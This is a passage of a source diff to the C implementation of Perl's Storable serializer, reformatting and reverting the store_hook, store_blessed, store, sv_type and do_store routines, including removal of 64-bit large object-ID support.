its refcount, and it was - * a temporary value, some next temporary value allocated during - * another STORABLE_freeze might take its place, and we'd wrongly - * assume that new SV was already serialized, based on its presence - * in cxt->hseen. - * - * Therefore, push it away in cxt->hook_seen. - */ - - av_store(av_hook, AvFILLp(av_hook)+1, SvREFCNT_inc(xsv)); - - sv_seen: - /* - * Dispose of the REF they returned. If we saved the 'xsv' away - * in the array of returned SVs, that will not cause the underlying - * referenced SV to be reclaimed. - */ - - ASSERT(SvREFCNT(xsv) > 1, ("SV will survive disposal of its REF")); - SvREFCNT_dec(rsv); /* Dispose of reference */ - - /* - * Replace entry with its tag (not a real SV, so no refcnt increment) - */ + if ((svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE))) + goto sv_seen; /* Avoid moving code too far to the right */ +#endif + + TRACEME(("listed object %d at 0x%" UVxf " is unknown", + i-1, PTR2UV(xsv))); + + /* + * We need to recurse to store that object and get it to be known + * so that we can resolve the list of object-IDs at retrieve time. + * + * The first time we do this, we need to emit the proper header + * indicating that we recursed, and what the type of object is (the + * object we're storing via a user-hook). Indeed, during retrieval, + * we'll have to create the object before recursing to retrieve the + * others, in case those would point back at that object. + */ + + /* [SX_HOOK] [] */ + if (!recursed++) { + PUTMARK(SX_HOOK); + PUTMARK(flags); + if (obj_type == SHT_EXTRA) + PUTMARK(eflags); + } else + PUTMARK(flags); + + if ((ret = store(aTHX_ cxt, xsv))) /* Given by hook for us to store */ + return ret; #ifdef USE_PTR_TABLE - tag = (SV *)--fake_tag; + fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv); + if (!sv) + CROAK(("Could not serialize item #%d from hook in %s", i, classname)); #else - tag = *svh; -#endif - ary[i] = tag; - TRACEME(("listed object %d at 0x%" UVxf " is tag #%" UVuf, - i-1, PTR2UV(xsv), PTR2UV(tag))); -#ifdef HAS_U64 - if ((U32)PTR2TAG(tag) != PTR2TAG(tag)) - need_large_oids = 1; -#endif - } - - /* - * Allocate a class ID if not already done. - * - * This needs to be done after the recursion above, since at retrieval - * time, we'll see the inner objects first. Many thanks to - * Salvador Ortiz Garcia who spot that bug and - * proposed the right fix. -- RAM, 15/09/2000 - */ - - check_done: - if (!known_class(aTHX_ cxt, classname, len, &classnum)) { - TRACEME(("first time we see class %s, ID = %d", classname, (int)classnum)); - classnum = -1; /* Mark: we must store classname */ - } else { - TRACEME(("already seen class %s, ID = %d", classname, (int)classnum)); - } - - /* - * Compute leading flags. - */ - - flags = obj_type; - if (((classnum == -1) ? len : classnum) > LG_SCALAR) - flags |= SHF_LARGE_CLASSLEN; - if (classnum != -1) - flags |= SHF_IDX_CLASSNAME; - if (len2 > LG_SCALAR) - flags |= SHF_LARGE_STRLEN; - if (count > 1) - flags |= SHF_HAS_LIST; - if (count > (LG_SCALAR + 1)) - flags |= SHF_LARGE_LISTLEN; -#ifdef HAS_U64 - if (need_large_oids) - flags |= SHF_LARGE_LISTLEN; -#endif - - /* - * We're ready to emit either serialized form: - * - * SX_HOOK [ ] - * SX_HOOK [ ] - * - * If we recursed, the SX_HOOK has already been emitted. - */ - - TRACEME(("SX_HOOK (recursed=%d) flags=0x%x " - "class=%" IVdf " len=%" IVdf " len2=%" IVdf " len3=%d", - recursed, flags, (IV)classnum, (IV)len, (IV)len2, count-1)); - - /* SX_HOOK [] */ - if (!recursed) { -#ifdef HAS_U64 - if (len2 > INT32_MAX) - PUTMARK(SX_LOBJECT); -#endif - PUTMARK(SX_HOOK); - PUTMARK(flags); - if (obj_type == SHT_EXTRA) - PUTMARK(eflags); - } else - PUTMARK(flags); - - /* or */ - if (flags & SHF_IDX_CLASSNAME) { - if (flags & SHF_LARGE_CLASSLEN) - WLEN(classnum); - else { - unsigned char cnum = (unsigned char) classnum; - PUTMARK(cnum); - } - } else { - if (flags & SHF_LARGE_CLASSLEN) - WLEN(len); - else { - unsigned char clen = (unsigned char) len; - PUTMARK(clen); - } - WRITE(classname, len); /* Final \0 is omitted */ - } - - /* */ -#ifdef HAS_U64 - if (len2 > INT32_MAX) { - W64LEN(len2); - } - else -#endif - if (flags & SHF_LARGE_STRLEN) { - U32 wlen2 = len2; /* STRLEN might be 8 bytes */ - WLEN(wlen2); /* Must write an I32 for 64-bit machines */ - } else { - unsigned char clen = (unsigned char) len2; - PUTMARK(clen); - } - if (len2) - WRITE(pv, (SSize_t)len2); /* Final \0 is omitted */ - - /* [ ] */ - if (flags & SHF_HAS_LIST) { - int len3 = count - 1; - if (flags & SHF_LARGE_LISTLEN) { -#ifdef HAS_U64 - int tlen3 = need_large_oids ? -len3 : len3; - WLEN(tlen3); + svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE); + if (!svh) + CROAK(("Could not serialize item #%d from hook in %s", i, classname)); +#endif + /* + * It was the first time we serialized 'xsv'. + * + * Keep this SV alive until the end of the serialization: if we + * disposed of it right now by decrementing its refcount, and it was + * a temporary value, some next temporary value allocated during + * another STORABLE_freeze might take its place, and we'd wrongly + * assume that new SV was already serialized, based on its presence + * in cxt->hseen. + * + * Therefore, push it away in cxt->hook_seen. + */ + + av_store(av_hook, AvFILLp(av_hook)+1, SvREFCNT_inc(xsv)); + + sv_seen: + /* + * Dispose of the REF they returned. If we saved the 'xsv' away + * in the array of returned SVs, that will not cause the underlying + * referenced SV to be reclaimed. + */ + + ASSERT(SvREFCNT(xsv) > 1, ("SV will survive disposal of its REF")); + SvREFCNT_dec(rsv); /* Dispose of reference */ + + /* + * Replace entry with its tag (not a real SV, so no refcnt increment) + */ + +#ifdef USE_PTR_TABLE + tag = (SV *)--fake_tag; #else - WLEN(len3); + tag = *svh; #endif + ary[i] = tag; + TRACEME(("listed object %d at 0x%" UVxf " is tag #%" UVuf, + i-1, PTR2UV(xsv), PTR2UV(tag))); } - else { - unsigned char clen = (unsigned char) len3; - PUTMARK(clen); - } - /* - * NOTA BENE, for 64-bit machines: the ary[i] below does not yield a - * real pointer, rather a tag number, well under the 32-bit limit. - * Which is wrong... if we have more than 2**32 SVs we can get ids over - * the 32-bit limit. - */ + /* + * Allocate a class ID if not already done. + * + * This needs to be done after the recursion above, since at retrieval + * time, we'll see the inner objects first. Many thanks to + * Salvador Ortiz Garcia who spot that bug and + * proposed the right fix. -- RAM, 15/09/2000 + */ + +check_done: + if (!known_class(aTHX_ cxt, classname, len, &classnum)) { + TRACEME(("first time we see class %s, ID = %d", classname, classnum)); + classnum = -1; /* Mark: we must store classname */ + } else { + TRACEME(("already seen class %s, ID = %d", classname, classnum)); + } - for (i = 1; i < count; i++) { -#ifdef HAS_U64 - if (need_large_oids) { - ntag_t tag = PTR2TAG(ary[i]); - W64LEN(tag); - TRACEME(("object %d, tag #%" UVuf, i-1, (UV)tag)); - } - else -#endif - { - I32 tagval = htonl(LOW_32BITS(ary[i])); - WRITE_I32(tagval); - TRACEME(("object %d, tag #%d", i-1, ntohl(tagval))); - } - } - } + /* + * Compute leading flags. + */ + + flags = obj_type; + if (((classnum == -1) ? len : classnum) > LG_SCALAR) + flags |= SHF_LARGE_CLASSLEN; + if (classnum != -1) + flags |= SHF_IDX_CLASSNAME; + if (len2 > LG_SCALAR) + flags |= SHF_LARGE_STRLEN; + if (count > 1) + flags |= SHF_HAS_LIST; + if (count > (LG_SCALAR + 1)) + flags |= SHF_LARGE_LISTLEN; + + /* + * We're ready to emit either serialized form: + * + * SX_HOOK [ ] + * SX_HOOK [ ] + * + * If we recursed, the SX_HOOK has already been emitted. + */ + + TRACEME(("SX_HOOK (recursed=%d) flags=0x%x " + "class=%" IVdf " len=%" IVdf " len2=%" IVdf " len3=%d", + recursed, flags, (IV)classnum, (IV)len, (IV)len2, count-1)); + + /* SX_HOOK [] */ + if (!recursed) { + PUTMARK(SX_HOOK); + PUTMARK(flags); + if (obj_type == SHT_EXTRA) + PUTMARK(eflags); + } else + PUTMARK(flags); + + /* or */ + if (flags & SHF_IDX_CLASSNAME) { + if (flags & SHF_LARGE_CLASSLEN) + WLEN(classnum); + else { + unsigned char cnum = (unsigned char) classnum; + PUTMARK(cnum); + } + } else { + if (flags & SHF_LARGE_CLASSLEN) + WLEN(len); + else { + unsigned char clen = (unsigned char) len; + PUTMARK(clen); + } + WRITE(classname, len); /* Final \0 is omitted */ + } - /* - * Free the array. We need extra care for indices after 0, since they - * don't hold real SVs but integers cast. - */ + /* */ + if (flags & SHF_LARGE_STRLEN) { + I32 wlen2 = len2; /* STRLEN might be 8 bytes */ + WLEN(wlen2); /* Must write an I32 for 64-bit machines */ + } else { + unsigned char clen = (unsigned char) len2; + PUTMARK(clen); + } + if (len2) + WRITE(pv, (SSize_t)len2); /* Final \0 is omitted */ + + /* [ ] */ + if (flags & SHF_HAS_LIST) { + int len3 = count - 1; + if (flags & SHF_LARGE_LISTLEN) + WLEN(len3); + else { + unsigned char clen = (unsigned char) len3; + PUTMARK(clen); + } + + /* + * NOTA BENE, for 64-bit machines: the ary[i] below does not yield a + * real pointer, rather a tag number, well under the 32-bit limit. + */ + + for (i = 1; i < count; i++) { + I32 tagval = htonl(LOW_32BITS(ary[i])); + WRITE_I32(tagval); + TRACEME(("object %d, tag #%d", i-1, ntohl(tagval))); + } + } - if (count > 1) - AvFILLp(av) = 0; /* Cheat, nothing after 0 interests us */ - av_undef(av); - sv_free((SV *) av); + /* + * Free the array. We need extra care for indices after 0, since they + * don't hold real SVs but integers cast. + */ - /* - * If object was tied, need to insert serialization of the magic object. - */ + if (count > 1) + AvFILLp(av) = 0; /* Cheat, nothing after 0 interests us */ + av_undef(av); + sv_free((SV *) av); - if (obj_type == SHT_EXTRA) { - MAGIC *mg; + /* + * If object was tied, need to insert serialization of the magic object. + */ - if (!(mg = mg_find(sv, mtype))) { - int svt = SvTYPE(sv); - CROAK(("No magic '%c' found while storing ref to tied %s with hook", - mtype, (svt == SVt_PVHV) ? "hash" : - (svt == SVt_PVAV) ? "array" : "scalar")); - } + if (obj_type == SHT_EXTRA) { + MAGIC *mg; - TRACEME(("handling the magic object 0x%" UVxf " part of 0x%" UVxf, - PTR2UV(mg->mg_obj), PTR2UV(sv))); + if (!(mg = mg_find(sv, mtype))) { + int svt = SvTYPE(sv); + CROAK(("No magic '%c' found while storing ref to tied %s with hook", + mtype, (svt == SVt_PVHV) ? "hash" : + (svt == SVt_PVAV) ? "array" : "scalar")); + } - /* - * [] - */ - if ((ret = store(aTHX_ cxt, mg->mg_obj))) - return ret; - } + TRACEME(("handling the magic object 0x%" UVxf " part of 0x%" + UVxf, PTR2UV(mg->mg_obj), PTR2UV(sv))); - return 0; + /* + * [] + */ + + if ((ret = store(aTHX_ cxt, mg->mg_obj))) /* Extra () for -Wall, grr... */ + return ret; + } + + return 0; } /* @@ -4111,76 +3406,75 @@ static int store_hook( * on the high-order bit in flag (same encoding as above for ). */ static int store_blessed( - pTHX_ - stcxt_t *cxt, - SV *sv, - int type, - HV *pkg) + pTHX_ + stcxt_t *cxt, + SV *sv, + int type, + HV *pkg) { - SV *hook; - char *classname; - I32 len; - I32 classnum; - - TRACEME(("store_blessed, type %d, class \"%s\"", type, HvNAME_get(pkg))); - - /* - * Look for a hook for this blessed SV and redirect to store_hook() - * if needed. - */ - - hook = pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"); - if (hook) - return store_hook(aTHX_ cxt, sv, type, pkg, hook); - - /* - * This is a blessed SV without any serialization hook. - */ - - classname = HvNAME_get(pkg); - len = strlen(classname); - - TRACEME(("blessed 0x%" UVxf " in %s, no hook: tagged #%d", - PTR2UV(sv), classname, (int)cxt->tagnum)); - - /* - * Determine whether it is the first time we see that class name (in which - * case it will be stored in the SX_BLESS form), or whether we already - * saw that class name before (in which case the SX_IX_BLESS form will be - * used). - */ - - if (known_class(aTHX_ cxt, classname, len, &classnum)) { - TRACEME(("already seen class %s, ID = %d", classname, (int)classnum)); - PUTMARK(SX_IX_BLESS); - if (classnum <= LG_BLESS) { - unsigned char cnum = (unsigned char) classnum; - PUTMARK(cnum); - } else { - unsigned char flag = (unsigned char) 0x80; - PUTMARK(flag); - WLEN(classnum); - } - } else { - TRACEME(("first time we see class %s, ID = %d", classname, - (int)classnum)); - PUTMARK(SX_BLESS); - if (len <= LG_BLESS) { - unsigned char clen = (unsigned char) len; - PUTMARK(clen); - } else { - unsigned char flag = (unsigned char) 0x80; - PUTMARK(flag); - WLEN(len); /* Don't BER-encode, this should be rare */ - } - WRITE(classname, len); /* Final \0 is omitted */ - } + SV *hook; + I32 len; + char *classname; + I32 classnum; + + TRACEME(("store_blessed, type %d, class \"%s\"", type, HvNAME_get(pkg))); + + /* + * Look for a hook for this blessed SV and redirect to store_hook() + * if needed. + */ + + hook = pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"); + if (hook) + return store_hook(aTHX_ cxt, sv, type, pkg, hook); + + /* + * This is a blessed SV without any serialization hook. + */ + + classname = HvNAME_get(pkg); + len = strlen(classname); + + TRACEME(("blessed 0x%" UVxf " in %s, no hook: tagged #%d", + PTR2UV(sv), classname, cxt->tagnum)); + + /* + * Determine whether it is the first time we see that class name (in which + * case it will be stored in the SX_BLESS form), or whether we already + * saw that class name before (in which case the SX_IX_BLESS form will be + * used). + */ + + if (known_class(aTHX_ cxt, classname, len, &classnum)) { + TRACEME(("already seen class %s, ID = %d", classname, classnum)); + PUTMARK(SX_IX_BLESS); + if (classnum <= LG_BLESS) { + unsigned char cnum = (unsigned char) classnum; + PUTMARK(cnum); + } else { + unsigned char flag = (unsigned char) 0x80; + PUTMARK(flag); + WLEN(classnum); + } + } else { + TRACEME(("first time we see class %s, ID = %d", classname, classnum)); + PUTMARK(SX_BLESS); + if (len <= LG_BLESS) { + unsigned char clen = (unsigned char) len; + PUTMARK(clen); + } else { + unsigned char flag = (unsigned char) 0x80; + PUTMARK(flag); + WLEN(len); /* Don't BER-encode, this should be rare */ + } + WRITE(classname, len); /* Final \0 is omitted */ + } - /* - * Now emit the part. - */ + /* + * Now emit the part. + */ - return SV_STORE(type)(aTHX_ cxt, sv); + return SV_STORE(type)(aTHX_ cxt, sv); } /* @@ -4195,39 +3489,37 @@ static int store_blessed( */ static int store_other(pTHX_ stcxt_t *cxt, SV *sv) { - STRLEN len; - char buf[80]; + I32 len; + char buf[80]; - TRACEME(("store_other")); + TRACEME(("store_other")); - /* - * Fetch the value from perl only once per store() operation. - */ + /* + * Fetch the value from perl only once per store() operation. + */ - if ( - cxt->forgive_me == 0 || - (cxt->forgive_me < 0 && - !(cxt->forgive_me = SvTRUE - (get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0)) + if ( + cxt->forgive_me == 0 || + (cxt->forgive_me < 0 && !(cxt->forgive_me = + SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0)) ) - CROAK(("Can't store %s items", sv_reftype(sv, FALSE))); + CROAK(("Can't store %s items", sv_reftype(sv, FALSE))); - warn("Can't store item %s(0x%" UVxf ")", - sv_reftype(sv, FALSE), PTR2UV(sv)); + warn("Can't store item %s(0x%" UVxf ")", + sv_reftype(sv, FALSE), PTR2UV(sv)); - /* - * Store placeholder string as a scalar instead... - */ + /* + * Store placeholder string as a scalar instead... + */ - (void) sprintf(buf, "You lost %s(0x%" UVxf ")%c", sv_reftype(sv, FALSE), - PTR2UV(sv), (char) 0); + (void) sprintf(buf, "You lost %s(0x%" UVxf ")%c", sv_reftype(sv, FALSE), + PTR2UV(sv), (char) 0); - len = strlen(buf); - if (len < 80) - STORE_SCALAR(buf, len); - TRACEME(("ok (dummy \"%s\", length = %" IVdf ")", buf, (IV) len)); + len = strlen(buf); + STORE_SCALAR(buf, len); + TRACEME(("ok (dummy \"%s\", length = %" IVdf ")", buf, (IV) len)); - return 0; + return 0; } /*** @@ -4244,79 +3536,68 @@ static int store_other(pTHX_ stcxt_t *cxt, SV *sv) */ static int sv_type(pTHX_ SV *sv) { - switch (SvTYPE(sv)) { - case SVt_NULL: + switch (SvTYPE(sv)) { + case SVt_NULL: #if PERL_VERSION <= 10 - case SVt_IV: -#endif - case SVt_NV: - /* - * No need to check for ROK, that can't be set here since there - * is no field capable of hodling the xrv_rv reference. - */ - return svis_SCALAR; - case SVt_PV: + case SVt_IV: +#endif + case SVt_NV: + /* + * No need to check for ROK, that can't be set here since there + * is no field capable of hodling the xrv_rv reference. + */ + return svis_SCALAR; + case SVt_PV: #if PERL_VERSION <= 10 - case SVt_RV: + case SVt_RV: #else - case SVt_IV: -#endif - case SVt_PVIV: - case SVt_PVNV: - /* - * Starting from SVt_PV, it is possible to have the ROK flag - * set, the pointer to the other SV being either stored in - * the xrv_rv (in the case of a pure SVt_RV), or as the - * xpv_pv field of an SVt_PV and its heirs. - * - * However, those SV cannot be magical or they would be an - * SVt_PVMG at least. - */ - return SvROK(sv) ? svis_REF : svis_SCALAR; - case SVt_PVMG: -#if PERL_VERSION <= 10 - if ((SvFLAGS(sv) & (SVs_OBJECT|SVf_OK|SVs_GMG|SVs_SMG|SVs_RMG)) - == (SVs_OBJECT|BFD_Svs_SMG_OR_RMG) - && mg_find(sv, PERL_MAGIC_qr)) { - return svis_REGEXP; - } -#endif - case SVt_PVLV: /* Workaround for perl5.004_04 "LVALUE" bug */ - if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == - (SVs_GMG|SVs_SMG|SVs_RMG) && - (mg_find(sv, 'p'))) - return svis_TIED_ITEM; - /* FALL THROUGH */ + case SVt_IV: +#endif + case SVt_PVIV: + case SVt_PVNV: + /* + * Starting from SVt_PV, it is possible to have the ROK flag + * set, the pointer to the other SV being either stored in + * the xrv_rv (in the case of a pure SVt_RV), or as the + * xpv_pv field of an SVt_PV and its heirs. + * + * However, those SV cannot be magical or they would be an + * SVt_PVMG at least. + */ + return SvROK(sv) ? svis_REF : svis_SCALAR; + case SVt_PVMG: + case SVt_PVLV: /* Workaround for perl5.004_04 "LVALUE" bug */ + if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == + (SVs_GMG|SVs_SMG|SVs_RMG) && + (mg_find(sv, 'p'))) + return svis_TIED_ITEM; + /* FALL THROUGH */ #if PERL_VERSION < 9 - case SVt_PVBM: -#endif - if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == - (SVs_GMG|SVs_SMG|SVs_RMG) && - (mg_find(sv, 'q'))) - return svis_TIED; - return SvROK(sv) ? svis_REF : svis_SCALAR; - case SVt_PVAV: - if (SvRMAGICAL(sv) && (mg_find(sv, 'P'))) - return svis_TIED; - return svis_ARRAY; - case SVt_PVHV: - if (SvRMAGICAL(sv) && (mg_find(sv, 'P'))) - return svis_TIED; - return svis_HASH; - case SVt_PVCV: - return svis_CODE; + case SVt_PVBM: +#endif + if ((SvFLAGS(sv) & (SVs_GMG|SVs_SMG|SVs_RMG)) == + (SVs_GMG|SVs_SMG|SVs_RMG) && + (mg_find(sv, 'q'))) + return svis_TIED; + return SvROK(sv) ? svis_REF : svis_SCALAR; + case SVt_PVAV: + if (SvRMAGICAL(sv) && (mg_find(sv, 'P'))) + return svis_TIED; + return svis_ARRAY; + case SVt_PVHV: + if (SvRMAGICAL(sv) && (mg_find(sv, 'P'))) + return svis_TIED; + return svis_HASH; + case SVt_PVCV: + return svis_CODE; #if PERL_VERSION > 8 /* case SVt_INVLIST: */ #endif -#if PERL_VERSION > 10 - case SVt_REGEXP: - return svis_REGEXP; -#endif - default: - break; - } + default: + break; + } - return svis_OTHER; + return svis_OTHER; } /* @@ -4330,146 +3611,123 @@ static int sv_type(pTHX_ SV *sv) */ static int store(pTHX_ stcxt_t *cxt, SV *sv) { - SV **svh; - int ret; - int type; + SV **svh; + int ret; + int type; #ifdef USE_PTR_TABLE - struct ptr_tbl *pseen = cxt->pseen; + struct ptr_tbl *pseen = cxt->pseen; #else - HV *hseen = cxt->hseen; + HV *hseen = cxt->hseen; #endif - TRACEME(("store (0x%" UVxf ")", PTR2UV(sv))); + TRACEME(("store (0x%" UVxf ")", PTR2UV(sv))); - /* - * If object has already been stored, do not duplicate data. - * Simply emit the SX_OBJECT marker followed by its tag data. - * The tag is always written in network order. - * - * NOTA BENE, for 64-bit machines: the "*svh" below does not yield a - * real pointer, rather a tag number (watch the insertion code below). - * That means it probably safe to assume it is well under the 32-bit - * limit, and makes the truncation safe. - * -- RAM, 14/09/1999 - */ + /* + * If object has already been stored, do not duplicate data. + * Simply emit the SX_OBJECT marker followed by its tag data. + * The tag is always written in network order. + * + * NOTA BENE, for 64-bit machines: the "*svh" below does not yield a + * real pointer, rather a tag number (watch the insertion code below). + * That means it probably safe to assume it is well under the 32-bit limit, + * and makes the truncation safe. + * -- RAM, 14/09/1999 + */ #ifdef USE_PTR_TABLE - svh = (SV **)ptr_table_fetch(pseen, sv); + svh = (SV **)ptr_table_fetch(pseen, sv); #else - svh = hv_fetch(hseen, (char *) &sv, sizeof(sv), FALSE); -#endif - if (svh) { - ntag_t tagval; - if (sv == &PL_sv_undef) { - /* We have seen PL_sv_undef before, but fake it as - if we have not. - - Not the simplest solution to making restricted - hashes work on 5.8.0, but it does mean that - repeated references to the one true undef will - take up less space in the output file. - */ - /* Need to jump past the next hv_store, because on the - second store of undef the old hash value will be - SvREFCNT_dec()ed, and as Storable cheats horribly - by storing non-SVs in the hash a SEGV will ensure. - Need to increase the tag number so that the - receiver has no idea what games we're up to. This - special casing doesn't affect hooks that store - undef, as the hook routine does its own lookup into - hseen. Also this means that any references back - to PL_sv_undef (from the pathological case of hooks - storing references to it) will find the seen hash - entry for the first time, as if we didn't have this - hackery here. (That hseen lookup works even on 5.8.0 - because it's a key of &PL_sv_undef and a value - which is a tag number, not a value which is - PL_sv_undef.) */ - cxt->tagnum++; - type = svis_SCALAR; - goto undef_special_case; - } - + svh = hv_fetch(hseen, (char *) &sv, sizeof(sv), FALSE); +#endif + if (svh) { + I32 tagval; + + if (sv == &PL_sv_undef) { + /* We have seen PL_sv_undef before, but fake it as + if we have not. + + Not the simplest solution to making restricted + hashes work on 5.8.0, but it does mean that + repeated references to the one true undef will + take up less space in the output file. + */ + /* Need to jump past the next hv_store, because on the + second store of undef the old hash value will be + SvREFCNT_dec()ed, and as Storable cheats horribly + by storing non-SVs in the hash a SEGV will ensure. + Need to increase the tag number so that the + receiver has no idea what games we're up to. This + special casing doesn't affect hooks that store + undef, as the hook routine does its own lookup into + hseen. Also this means that any references back + to PL_sv_undef (from the pathological case of hooks + storing references to it) will find the seen hash + entry for the first time, as if we didn't have this + hackery here. (That hseen lookup works even on 5.8.0 + because it's a key of &PL_sv_undef and a value + which is a tag number, not a value which is + PL_sv_undef.) */ + cxt->tagnum++; + type = svis_SCALAR; + goto undef_special_case; + } + #ifdef USE_PTR_TABLE - tagval = PTR2TAG(((char *)svh)-1); + tagval = htonl(LOW_32BITS(((char *)svh)-1)); #else - tagval = PTR2TAG(*svh); -#endif -#ifdef HAS_U64 - - /* older versions of Storable streat the tag as a signed value - used in an array lookup, corrupting the data structure. - Ensure only a newer Storable will be able to parse this tag id - if it's over the 2G mark. - */ - if (tagval > I32_MAX) { - - TRACEME(("object 0x%" UVxf " seen as #%" UVuf, PTR2UV(sv), - (UV)tagval)); - - PUTMARK(SX_LOBJECT); - PUTMARK(SX_OBJECT); - W64LEN(tagval); - return 0; - } - else + tagval = htonl(LOW_32BITS(*svh)); #endif - { - I32 ltagval; - ltagval = htonl((I32)tagval); + TRACEME(("object 0x%" UVxf " seen as #%d", + PTR2UV(sv), ntohl(tagval))); - TRACEME(("object 0x%" UVxf " seen as #%d", PTR2UV(sv), - ntohl(ltagval))); - - PUTMARK(SX_OBJECT); - WRITE_I32(ltagval); - return 0; + PUTMARK(SX_OBJECT); + WRITE_I32(tagval); + return 0; } - } - - /* - * Allocate a new tag and associate it with the address of the sv being - * stored, before recursing... - * - * In order to avoid creating new SvIVs to hold the tagnum we just - * cast the tagnum to an SV pointer and store that in the hash. This - * means that we must clean up the hash manually afterwards, but gives - * us a 15% throughput increase. - * - */ - cxt->tagnum++; + /* + * Allocate a new tag and associate it with the address of the sv being + * stored, before recursing... + * + * In order to avoid creating new SvIVs to hold the tagnum we just + * cast the tagnum to an SV pointer and store that in the hash. This + * means that we must clean up the hash manually afterwards, but gives + * us a 15% throughput increase. + * + */ + + cxt->tagnum++; #ifdef USE_PTR_TABLE - ptr_table_store(pseen, sv, INT2PTR(SV*, 1 + cxt->tagnum)); + ptr_table_store(pseen, sv, INT2PTR(SV*, 1 + cxt->tagnum)); #else - if (!hv_store(hseen, - (char *) &sv, sizeof(sv), INT2PTR(SV*, cxt->tagnum), 0)) - return -1; + if (!hv_store(hseen, + (char *) &sv, sizeof(sv), INT2PTR(SV*, cxt->tagnum), 0)) + return -1; #endif - /* - * Store 'sv' and everything beneath it, using appropriate routine. - * Abort immediately if we get a non-zero status back. - */ + /* + * Store 'sv' and everything beneath it, using appropriate routine. + * Abort immediately if we get a non-zero status back. + */ - type = sv_type(aTHX_ sv); + type = sv_type(aTHX_ sv); - undef_special_case: - TRACEME(("storing 0x%" UVxf " tag #%d, type %d...", - PTR2UV(sv), (int)cxt->tagnum, (int)type)); +undef_special_case: + TRACEME(("storing 0x%" UVxf " tag #%d, type %d...", + PTR2UV(sv), cxt->tagnum, type)); - if (SvOBJECT(sv)) { - HV *pkg = SvSTASH(sv); - ret = store_blessed(aTHX_ cxt, sv, type, pkg); - } else - ret = SV_STORE(type)(aTHX_ cxt, sv); + if (SvOBJECT(sv)) { + HV *pkg = SvSTASH(sv); + ret = store_blessed(aTHX_ cxt, sv, type, pkg); + } else + ret = SV_STORE(type)(aTHX_ cxt, sv); - TRACEME(("%s (stored 0x%" UVxf ", refcnt=%d, %s)", - ret ? "FAILED" : "ok", PTR2UV(sv), - (int)SvREFCNT(sv), sv_reftype(sv, FALSE))); + TRACEME(("%s (stored 0x%" UVxf ", refcnt=%d, %s)", + ret ? "FAILED" : "ok", PTR2UV(sv), + SvREFCNT(sv), sv_reftype(sv, FALSE))); - return ret; + return ret; } /* @@ -4512,9 +3770,9 @@ static int magic_write(pTHX_ stcxt_t *cxt) (char) sizeof (byteorderstr) - 1, BYTEORDER_BYTES, (unsigned char) sizeof(int), - (unsigned char) sizeof(long), + (unsigned char) sizeof(long), (unsigned char) sizeof(char *), - (unsigned char) sizeof(NV) + (unsigned char) sizeof(NV) }; #ifdef USE_56_INTERWORK_KLUDGE static const unsigned char file_header_56[] = { @@ -4525,9 +3783,9 @@ static int magic_write(pTHX_ stcxt_t *cxt) (char) sizeof (byteorderstr_56) - 1, BYTEORDER_BYTES_56, (unsigned char) sizeof(int), - (unsigned char) sizeof(long), + (unsigned char) sizeof(long), (unsigned char) sizeof(char *), - (unsigned char) sizeof(NV) + (unsigned char) sizeof(NV) }; #endif const unsigned char *header; @@ -4540,30 +3798,30 @@ static int magic_write(pTHX_ stcxt_t *cxt) length = sizeof (network_file_header); } else { #ifdef USE_56_INTERWORK_KLUDGE - if (SvTRUE(get_sv("Storable::interwork_56_64bit", GV_ADD))) { + if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) { header = file_header_56; length = sizeof (file_header_56); } else #endif - { - header = file_header; - length = sizeof (file_header); - } - } + { + header = file_header; + length = sizeof (file_header); + } + } if (!cxt->fio) { /* sizeof the array includes the 0 byte at the end. */ header += sizeof (magicstr) - 1; length -= sizeof (magicstr) - 1; - } + } WRITE( (unsigned char*) header, length); if (!cxt->netorder) { - TRACEME(("ok (magic_write byteorder = 0x%lx [%d], I%d L%d P%d D%d)", - (unsigned long) BYTEORDER, (int) sizeof (byteorderstr) - 1, - (int) sizeof(int), (int) sizeof(long), - (int) sizeof(char *), (int) sizeof(NV))); + TRACEME(("ok (magic_write byteorder = 0x%lx [%d], I%d L%d P%d D%d)", + (unsigned long) BYTEORDER, (int) sizeof (byteorderstr) - 1, + (int) sizeof(int), (int) sizeof(long), + (int) sizeof(char *), (int) sizeof(NV))); } return 0; } @@ -4579,118 +3837,117 @@ static int magic_write(pTHX_ stcxt_t *cxt) * It is required to provide a non-null 'res' when the operation type is not * dclone() and store() is performed to memory. */ -static int do_store(pTHX_ +static int do_store( + pTHX_ PerlIO *f, - SV *sv, - int optype, - int network_order, - SV **res) + SV *sv, + int optype, + int network_order, + SV **res) { - dSTCXT; - int status; - - ASSERT(!(f == 0 && !(optype & ST_CLONE)) || res, - ("must supply result SV pointer for real recursion to memory")); + dSTCXT; + int status; - TRACEMED(("do_store (optype=%d, netorder=%d)", - optype, network_order)); + ASSERT(!(f == 0 && !(optype & ST_CLONE)) || res, + ("must supply result SV pointer for real recursion to memory")); - optype |= ST_STORE; + TRACEME(("do_store (optype=%d, netorder=%d)", + optype, network_order)); - /* - * Workaround for CROAK leak: if they enter with a "dirty" context, - * free up memory for them now. - */ + optype |= ST_STORE; - assert(cxt); - if (cxt->s_dirty) - clean_context(aTHX_ cxt); + /* + * Workaround for CROAK leak: if they enter with a "dirty" context, + * free up memory for them now. + */ - /* - * Now that STORABLE_xxx hooks exist, it is possible that they try to - * re-enter store() via the hooks. We need to stack contexts. - */ + assert(cxt); + if (cxt->s_dirty) + clean_context(aTHX_ cxt); - if (cxt->entry) - cxt = allocate_context(aTHX_ cxt); + /* + * Now that STORABLE_xxx hooks exist, it is possible that they try to + * re-enter store() via the hooks. We need to stack contexts. + */ - INIT_TRACEME; + if (cxt->entry) + cxt = allocate_context(aTHX_ cxt); - cxt->entry++; + cxt->entry++; - ASSERT(cxt->entry == 1, ("starting new recursion")); - ASSERT(!cxt->s_dirty, ("clean context")); + ASSERT(cxt->entry == 1, ("starting new recursion")); + ASSERT(!cxt->s_dirty, ("clean context")); - /* - * Ensure sv is actually a reference. From perl, we called something - * like: - * pstore(aTHX_ FILE, 